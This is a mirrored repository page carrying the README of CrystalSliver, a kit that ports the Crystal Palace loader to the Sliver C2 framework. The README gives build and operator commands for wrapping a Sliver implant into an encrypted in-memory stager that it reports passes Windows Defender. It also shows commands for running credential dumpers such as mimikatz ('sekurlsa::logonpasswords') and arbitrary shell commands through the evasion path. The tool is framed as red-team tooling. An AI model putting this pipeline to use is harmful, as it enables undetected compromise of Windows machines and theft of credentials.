CrystalSliver - GitLite

KO | EN

gitlite — search

#hacktoberfest #ai #typescript #machine-learning #deep-learning #docker #nodejs #macos #windows #awesome #vue #pytorch #security #open-source

CrystalSliver

(★ 109)

Crystal Palace Evasion kit for Sliver

파일 탐색기

최종 버전 다운로드 (.zip)

- - loader.spec
  - local-loader.spec
  - Makefile
  - pico.spec
- - loader.spec
  - Makefile
  - pico.spec
- - .crystalenv.example
  - bundle-implant.sh
  - bundle-stager.sh
  - extension.json
  - generate-implant.sh
  - generate.sh
  - Makefile
  - pack-extension.sh
  - postex.sh
- README.md
- PORTING_MAP.md
- RUNBOOK.md
- TOOLCHAIN.md
.gitignore
LICENSE
NOTICE.md
README.md

# 설치 가이드

1. 코드 내려받기

git clone https://github.com/licitrasimone/CrystalSliver

깃허브에서 프로젝트 코드 전체를 내 컴퓨터로 내려받습니다.

cd CrystalSliver

방금 내려받은 프로젝트 폴더 안으로 이동합니다.

2. 공식 설치 스크립트

쉬움 추천

사전 준비물

APT (Debian/Ubuntu 계열) Debian/Ubuntu 계열 리눅스에 기본 내장된 패키지 매니저입니다.

sudo apt install -y mingw-w64 nasm openjdk-17-jdk make zip git curl

APT 패키지 저장소에서 바로 설치합니다 (Debian/Ubuntu 계열).

✅ 설치 후 새 터미널을 열고, 프로그램의 버전 확인 명령(예: --version)으로 정상 설치됐는지 확인하세요.

이 레포의 README에 적힌 실제 명령어를 그대로 가져왔습니다.

3. Make

보통

사전 준비물

Git GitHub에서 프로젝트 코드를 내려받으려면 필요합니다.
Make Linux/macOS는 보통 기본 설치되어 있습니다. Windows는 별도 설치(예: MSYS2, WSL)가 필요합니다.

make -C crystal-kit-sliver/loader all

생성된 빌드 설정을 바탕으로 실제 컴파일을 진행해 실행 파일을 만듭니다.

make -C crystal-kit-sliver/postex-loader all

생성된 빌드 설정을 바탕으로 실제 컴파일을 진행해 실행 파일을 만듭니다.

make -C crystal-kit-sliver/sliver-glue/wrapper all

생성된 빌드 설정을 바탕으로 실제 컴파일을 진행해 실행 파일을 만듭니다.

make -C crystal-kit-sliver/sliver-glue/wrapper smoketest

생성된 빌드 설정을 바탕으로 실제 컴파일을 진행해 실행 파일을 만듭니다.

make -C crystal-kit-sliver/sliver-glue/crystal-exec all

생성된 빌드 설정을 바탕으로 실제 컴파일을 진행해 실행 파일을 만듭니다.

✅ 에러 없이 끝나면 성공입니다. 생성된 실행 파일을 직접 실행해보세요.

이 레포의 README에 적힌 실제 명령어를 그대로 가져왔습니다.

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

# crystal-kit-sliver

Crystal Palace evasion kit ported to [Sliver C2](https://sliver.sh).

This is the first public port of rasta-mouse's [Crystal-Kit](https://github.com/rasta-mouse/Crystal-Kit) (Cobalt Strike) to Sliver. It follows the same cross-C2 pattern proven by [Crystal-Kit-Xenon](https://github.com/nickswink/Crystal-Kit-Xenon) (Mythic).

- **License:** MIT — Copyright (c) 2026 Simone Licitra
- **Target:** Windows x64 only (upstream constraint)
- **Status:** verified end-to-end — Kali build pipeline + Windows 10 x64 FLARE-VM runtime. Sliver session established.

---

## What it does

Replaces Sliver's default reflective loader and post-ex execution path with [Crystal Palace](https://tradecraftgarden.org/) (Raphael Mudge, BSD). The result is a position-independent code (PICO) blob that bundles:

- ror13 hash-based API resolution (no plain `LoadLibrary` / `GetProcAddress`)
- IAT hooks on `VirtualAlloc` / `VirtualProtect` / `VirtualFree` / `LoadLibraryA`
- Draugr call stack spoofing during callbacks
- XOR sleep mask over the embedded DLL
- libtcg-based runtime obfuscation

The Sliver implant DLL (or any post-ex DLL) is XOR-masked inside the PICO and only unmasked in memory at execution time.

---

## Two use cases

### A — Implant evasion (PRIMARY)

The raw Sliver implant DLL is never executed directly on target. Instead it is wrapped with Crystal Palace into a PICO, AES-256-CBC encrypted, and delivered with a custom stager (~17 KB) that decrypts and executes it in memory.

```
sliver-server generate --format shared → impl.dll
        │
        ▼
generate-implant.sh --dll impl.dll → sliver.crystal.bin  (~110 KB PICO)
        │
        ▼
bundle-stager.sh                   → csvchelper.exe (~17 KB, no embedded payload)
                                   → payload.dat    (~36 MB AES-256-CBC ciphertext)
        │
        ▼ deliver BOTH files to same directory on target
        ▼
Windows VM: csvchelper.exe
        │
        ▼ BCrypt AES-256-CBC decrypt payload.dat → PICO in RW memory
        ▼ VirtualProtect(RX) → CreateThread → Crystal Palace entry
        ▼ register .pdata → TLS callbacks → DllMain → StartW() → beacon goroutine → HTTP session
```

### B — Post-ex evasion (SECONDARY)

Once a session is active, run sensitive DLLs (recon, credential dumpers, etc.) through Crystal Palace via a Sliver Extension.

```
sliver > extensions install crystal-loader-0.1.0.tar.gz
sliver > crystal --payload C:/path/mimikatz.pico.bin
```

Pass runtime args without a rebuild by appending them after `|`:

```
sliver > crystal --payload C:/path/file.pico.bin|args here
```

The `crystal-loader.x64.dll` is a Sliver DLL Extension that reads the PICO blob from disk into a `VirtualAlloc(RW)` region, flips it to RX with `VirtualProtect`, and jumps to the Crystal Palace entrypoint. No `PAGE_EXECUTE_READWRITE` mapping is ever held. Paths use forward slashes. Arg format is `type:string` (not BOF binary). The DLL is loaded in-memory by Sliver — it is not written as a file to the target disk.

### C — Built-in shell execution via Crystal Palace

`crystal-exec` is a second command bundled in the same extension. It runs arbitrary shell commands through Crystal Palace evasion using a PICO embedded directly in the extension DLL — no PICO file to upload.

```
sliver > crystal-exec --cmd "whoami /all"
```

Output is returned to the operator over the existing Sliver session via a pipe. This is the fastest path for one-off shell commands when you do not need a full post-ex DLL.

---

## Repo layout

```
crystal-kit-sliver/
├── loader/              ← Reflective loader sources (Use case A) — verbatim from Crystal-Kit
├── postex-loader/       ← Post-ex loader sources (Use case B) — Crystal-Kit + Xenon patch
├── libtcg.x64.zip       ← Upstream binary dependency (kept in tree for build convenience)
└── sliver-glue/         ← Sliver-specific build glue
    ├── extension.json           Sliver Extension manifest
    ├── generate.sh              Wrap a post-ex DLL  → PICO (Use case B)
    ├── generate-implant.sh      Wrap a Sliver DLL   → PICO (Use case A)
    ├── bundle-implant.sh        Bundle PICO + Crystal Palace demo stager into drop.zip (legacy)
    ├── bundle-stager.sh         Build custom stager: csvchelper.exe + payload.dat (primary)
    ├── pack-extension.sh        Pack DLL + manifest into Sliver Extension tarball
    ├── Makefile                 make objects / package / clean
    ├── stager/                  Custom stager sources (AES-256-CBC, asInvoker manifest)
    └── wrapper/                 crystal-loader.c (BOF-compat DLL wrapper)

docs/
├── RUNBOOK.md           Step-by-step Kali → Windows lab procedure
├── PORTING_MAP.md       File-by-file mapping Crystal-Kit → this repo + literal diffs
└── TOOLCHAIN.md         Build prerequisites and pipeline details
```

---

## Quick build (Kali / Debian / Ubuntu)

```bash
# 1. Toolchain
sudo apt install -y mingw-w64 nasm openjdk-17-jdk make zip git curl

# 2. Crystal Palace dist (BSD-3-Clause, Raphael Mudge)
mkdir -p external/crystalpalace
curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \
   | tar -xz -C external/crystalpalace/
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist

# 3. Build everything
make -C crystal-kit-sliver/loader all
make -C crystal-kit-sliver/postex-loader all
make -C crystal-kit-sliver/sliver-glue/wrapper all
make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
make -C crystal-kit-sliver/sliver-glue/crystal-exec all

# 4. Use case A — wrap a Sliver implant and build the stager
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \
   crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
   crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
   crystal-kit-sliver/sliver-glue/build/csvchelper.exe
# → produces build/csvchelper.exe + build/payload.dat (deliver both to target)

# 5. Use case B — wrap a post-ex DLL (postex.sh handles naming and prints the sliver command)
./crystal-kit-sliver/sliver-glue/postex.sh /path/to/postex.dll
# With baked-in args:  postex.sh /path/to/postex.dll "sekurlsa::logonpasswords exit"
./crystal-kit-sliver/sliver-glue/pack-extension.sh

# 6. crystal-exec — rebuild the built-in command executor (only needed after modifying crystalexec.c)
cd crystal-kit-sliver/sliver-glue/crystal-exec && make && cd -
./crystal-kit-sliver/sliver-glue/pack-extension.sh
```

See `docs/RUNBOOK.md` for the full operator procedure (Sliver install, listener setup, target execution, troubleshooting).

---

## What is verified

| Item | Status | Evidence |
|---|---|---|
| All Crystal-Kit sources compile under MinGW 15.2 + NASM 3.01 | OK | `make all` clean, 8 `.o` + 1 `.bin` per loader |
| Xenon post-ex patches present | OK | `dfr "ror13"`, `_DLLARGS_` section, `dll_arguments` param in `DLL_PROCESS_ATTACH` |
| Crystal Palace CLI verified | OK | `./link <spec> <dll> <out.bin> [%KEY=value]` — positional, documented in `dist/README` |
| End-to-end PICO build (Use case A) | OK | 117 KB PICO produced from test DLL |
| End-to-end PICO build (Use case B) | OK | 111 KB PICO produced via `postex-loader/loader.spec` |
| Sliver Extension wrapper DLL builds | OK | `crystal-loader.x64.dll` ~42 KB, `crystal-exec.x64.dll` ~75 KB — both PE32+ exporting `Initialize` symbol; no RWX; stripped |
| Extension tarball packs correctly | OK | 37 KB tarball validated with `tar -tzf` |
| Custom stager build (two-file delivery) | OK | `bundle-stager.sh` → `csvchelper.exe` (17 KB, entropy 4.784) + `payload.dat` (AES-256-CBC) |
| Runtime execution on Windows (Use case A) | OK | Sliver session established on Windows 10 x64 FLARE-VM; stager passes Defender (Wacatac.B!ml + ZomBytes.B) |
| Runtime execution on Windows (Use case B) | OK | `crystal --payload C:/path/file.pico.bin` — new Sliver session established via post-ex PICO; arg format verified as `type:string`, forward slash path |
| `crystal-exec` command | OK | Shell command output returned to operator via pipe; PICO embedded in extension DLL, no upload required |

---

## Dependencies

| Dependency | License | How to obtain | Bundled? |
|---|---|---|---|
| Crystal Palace (`crystalpalace.jar`, `link`, etc.) | BSD-3-Clause, (c) 2025 Raphael Mudge / AFF-WG | `curl -O https://tradecraftgarden.org/download/cpdist-latest.tgz` | No (`.gitignore` excludes `external/`) |
| `libtcg.x64.zip` | Upstream binary, license unstated (likely QEMU TCG-derived) | Copied from upstream Crystal-Kit repo | Yes, kept in tree for build convenience |
| Sliver C2 | GPLv3 | <https://sliver.sh> | No — runtime dependency only |
| MinGW-w64 + NASM | GPL-compatible | `apt install` or `brew install` | No |

This repository does NOT redistribute `crystalpalace.jar`. The build pipeline fetches it externally and references it via the `CRYSTAL_PALACE_HOME` environment variable.

---

## Attribution

See [`NOTICE.md`](NOTICE.md) for the full list of upstream copyrights and licenses. Brief summary:

- **rasta-mouse** — Crystal-Kit (MIT) — base reflective loader, postex loader, spec files
- **nickswink** — Crystal-Kit-Xenon (MIT) — cross-C2 patch template (smart pointers removal + `dll_args` section)
- **Raphael Mudge / AFF-WG** — Crystal Palace (BSD-3-Clause) — linker and PIC tooling
- **TrustedSec** — COFFLoader (BSD-3-Clause) — BOF compatibility layer (`beacon.h`, `beacon_compatibility.c/h`)
- **BishopFox** — Sliver C2 (GPLv3) — target framework

---

## Roadmap

- [x] 1 — Audit upstream repos + extract diff between Crystal-Kit and Crystal-Kit-Xenon
- [x] 2 — Toolchain documentation + repository scaffold
- [x] 3 — File-by-file porting map with literal diffs (`docs/PORTING_MAP.md`)
- [x] 4 — Sources copied + Xenon patches applied + LICENSE + NOTICE
- [x] 5 — `sliver-glue/` glue scripts and Extension manifest
- [x] 6a — DLL wrapper written, built (MinGW 15.2), packaged, smoke test shellcode
- [x] 6b — Crystal Palace CLI verified, real PICO built end-to-end
- [x] 6c — Dual use case A/B: `generate-implant.sh` + `bundle-implant.sh`
- [x] 6d — Runtime test on Windows x64 lab — Use case A verified (Sliver session established on FLARE-VM)
- [x] 6e — Use case B runtime verified (`crystal --payload` works, arg format fixed to `type:string`, forward slash path)
- [x] 6f — `crystal-exec` command: built-in post-ex shell execution via Crystal Palace (no upload required)
- [x] 6g — Runtime args via `|` separator for dynamic DLL args without rebuild

---

## Disclaimer

Offensive security tooling intended for authorized red team engagements, lab research, and education. Use only in environments where you have written authorization. The author assumes no responsibility for misuse.